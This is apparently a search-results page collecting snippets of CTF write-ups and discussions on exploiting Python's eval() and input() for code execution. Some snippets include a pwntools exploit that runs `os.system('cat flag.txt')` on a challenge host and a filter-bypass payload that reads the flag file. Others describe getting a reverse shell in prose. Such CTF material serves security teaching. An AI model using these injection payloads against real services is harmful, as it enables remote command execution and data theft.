🌐
Medium
medium.com › @nikomanousos123 › exploiting-pythons-eval-function-69f8fc4074a1
Exploiting Python’s Eval Function | by Niko | Medium
July 7, 2025 - This is from a recent CTF event. ... We see the win condition is guessing the same number the computer guesses between 0 and 2 **64. This will take a while. the good new is that there’s another way. Take a look at the source. There is an unsantitized eval function! We can actually get a shell on this game and execute arbitrary commands. So how do we get a shell? We need to use the Python OS module to interact with system.
Discussions

Be Careful with Python's New-Style String Format
I think the problem is not the new-style string format, every input or output must be sanitized if you want keep it safe. If somebody has access to execute a script you already are vulnerable. It's one more thing to escape :/ This CTF questions show how to access python base class easily https://hexplo.it/escaping-the-csawctf-python-sandbox/ More on reddit.com
🌐 r/Python
32
87
December 29, 2016
Demo of how input() is security probem in Python 2.7 (4min)
Demo of how writing insecure code is a security problem. More on reddit.com
🌐 r/Python
60
84
March 15, 2018
🌐
GitHub
github.com › ctfs › write-ups-2013 › tree › master › pico-ctf-2013 › python-eval-3
write-ups-2013/pico-ctf-2013/python-eval-3 at master · ctfs/write-ups-2013
This challenge involves exploiting a Python script's input 'eval' function using the script's imports.
Author   ctfs
🌐
Kevinyap
kevinyap.ca › 2019 › 04 › eval-golf-plaidctf-writeup
Eval Golf (PlaidCTF Writeup) | Kevin Yap
Given that Python is my programming language of choice, it was fun to work on a Python-based challenge (rather than the low-level exploits that are more common in CTFs). The service that we’re trying to retrieve the flag from executes this script: #!/usr/bin/env python3 from sys import exit from secret import secret_value_for_password, flag, exec try: val = 0 inp = input("Input value: ") count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag) else: print("Nope.
🌐
CTFtime.org
ctftime.org › writeup › 16199
CTFtime.org / redpwnCTF 2019 / genericpyjail / Writeup
--- title: RedpwnCTF - Exploiting python eval to escape pyjails description: Writeup for 2 pyjails challenges exploiting eval function. categories: python, pyjail author: Xh4H tags: python ctf redpwnctf pyjail ---
🌐
GitHub
github.com › ctfs › write-ups-2013 › tree › master › pico-ctf-2013 › python-eval-2
write-ups-2013/pico-ctf-2013/python-eval-2 at master · ctfs/write-ups-2013
This challenge is very similiar to Python Eval 1 and also involves exploiting a Python script's input function.
Author   ctfs
🌐
Floyd
floyd.ch
Exploiting Python’s Eval | floyd's
Pingback: Exploiting Python Code Injection in Web Applications – My Blog · python module evalidate (pip3 install evalidate) solves this problem. It parses untrusted user code into Abstract Syntax Tree (AST) and checks each node. Code is evaluated then only if it consist only of safe nodes.
🌐
Maddevs
maddevs.io › home › write-ups › hackthebox type exception
[Cybersec Walkthrough] - [Hack The Box: Type Exception]
November 15, 2023 - You return home.") else: return all(ord(x) < 0x7f for x in s) and all(x not in s for x in BLACKLIST) and check_balanced(s) def safe_eval(s, func): if not check(s): print("\U0001F6B6" + "\U0001F6B6" + "\U0001F6B6") else: try: print(eval(f"{func.__name__}({s})", {"__builtins__": {func.__name__: func}, "flag": FLAG})) except: print("Error") if __name__ == "__main__": while True: inp = input("Input : ") safe_eval(inp, type)
🌐
Medium
medium.com › @debasissadhu712 › picoctf-3v-l-writeup-exploiting-python-eval-for-rce-bypassing-regex-ce85f1dc8c1e
picoCTF 3v@l Writeup: Exploiting Python eval() for RCE (Bypassing Regex) | by Debashish Sadhu | Medium
December 11, 2025 - This confirms the input is being interpreted as Python code, not just numbers. Step 2: Taint Analysis (Tracing the “Sink”) The analyst now knows the input flows directly into an execution “sink” (the eval function). ... The Test: They try a dangerous command like import. Result: If the site returns a “500 Error” or blocks the request, the developer has added a Sanitization Filter (like a blacklist). Step 3: Bypass & Exploitation This is where the picoCTF 3v@l technique comes in.
Find elsewhere
🌐
GitHub
github.com › ctfs › write-ups-2013 › tree › master › pico-ctf-2013 › python-eval-5
write-ups-2013/pico-ctf-2013/python-eval-5 at master · ctfs/write-ups-2013
Source. This challenge is very simliar to Python Eval 3. We're given a Python script to exploit and the task of getting a shell on the server running it ; in order to read the flag.
Author   ctfs
🌐
Greg Scharf
blog.gregscharf.com › 2023 › 04 › 11 › code-injections
Code Injections :: Greg Scharf — Development & Security
April 11, 2023 - A common CTF example is a calculator embedded in a web app that takes user input and then sends that input directly to eval() as an argument. Here is OWASP’s summary of this vulnerability along with a basic PHP code injection example. A good way to understand how code injection through the Python eval() method works is by doing this yourself in the Python CLI.
🌐
Motasem Notes
motasem-notes.net › home › ctf writeups › python eval function exploitation | tryhackme devie
Python Eval Function Exploitation | TryHackMe Devie
July 13, 2025 - The eval() function executes user input directly, similar to vulnerabilities in PHP. To exploit this, I injected a payload into the XA or XP input fields of the bisection method form.
🌐
GitHub
github.com › adeptex › CTF › blob › master › fstring-injection.md
CTF/fstring-injection.md at master · adeptex/CTF
The following exploit does just that: from pwn import * def xrust(data): global p print p.recvuntil('? ') p.sendline(data) p = remote('config-creator.ctf.insecurity-insa.fr', 10000) xrust('1') #register xrust('a') xrust('__import__("os").system("cat flag.txt")') xrust('1') #register xrust('eval(a)') xrust('{}') xrust('4') #config print p.recvline() # INSA{dont_get_me_wrong_i_love_python36}
Author   adeptex
🌐
MetaCTF
metactf.com › home › blog › flash ctf – better_eval()
Flash CTF - better_eval() - MetaCTF
March 6, 2025 - Knowing that the above expression will evaluate to “flag.txt”, we can take it and put it in place of the “flag.txt” in our call to open(): ... Enter your python code> open(''.join(['f','lag.txt']),'rb').read() b'MetaCTF{f1l73rs_d0_n0t_s3cur3_u}'
🌐
YouTube
youtube.com › watch
Python Eval Function Exploitation | TryHackMe Devie - YouTube
In this video walk-through, we covered a scenario that demonstrates python exploitation through Eval function. Additionally we covered an example of XOR encr...
Published   April 5, 2023
🌐
CyberChef
sevenlayers.com › index.php › 215-abusing-python-input
Abusing Python Input
In order to abuse this behavior, we can use __import__ to import a module and ultimately, we want it to eval the following: ... We catch a shell. Now let's point it to our victim: ... We catch our shell from the victim. If we wanted to fix our Python script, we'd use raw_input instead of input:
🌐
CTFtime.org
ctftime.org › writeup › 38733
CTFtime.org / Pearl CTF / b4by_jail / Writeup
This is a simple jail break challenge that uses python's `eval()` evaulate the command given from the input.
🌐
Blogger
intx0x80.blogspot.com › 2017 › 06 › backdoor-ctf-evil.html
backdoor CTF evil
June 20, 2017 - ok that flow now time to identify ... as we know eval it function evaluates a string of text which is passed as its parameter, accepting possible second argument for the global values to use during evaluation....
🌐
Netsec
netsec.expert › posts › breaking-python3-eval-protections
Breaking Python 3 eval protections – Sam's Hacking Wonderland
January 16, 2021 - How Python 3's eval works and how to abuse it from an attacker perspective to evade its protections.
🌐
Medium
medium.com › @u0x › hitb-xctf-2018-pythons-revenge-web-writeup-7ec4d25872d5
HITB-XCTF 2018 — Python’s Revenge (Web) Writeup | by Pichaya Morimoto | Medium
April 16, 2018 - The Popen object immediately executes my arbitrary OS commands to load a python script from my server and then runs it with python on the remote server. Finally, got shell. < @TODO: insert an exciting reverse shell pic here> At this stage, we completely circumvented all protections and captured the flag ! It is worth to mention that there are more than one way to exploit this challenge, another writeup from p4 team uses input() to eval arbitrary python code and accomplished RCE.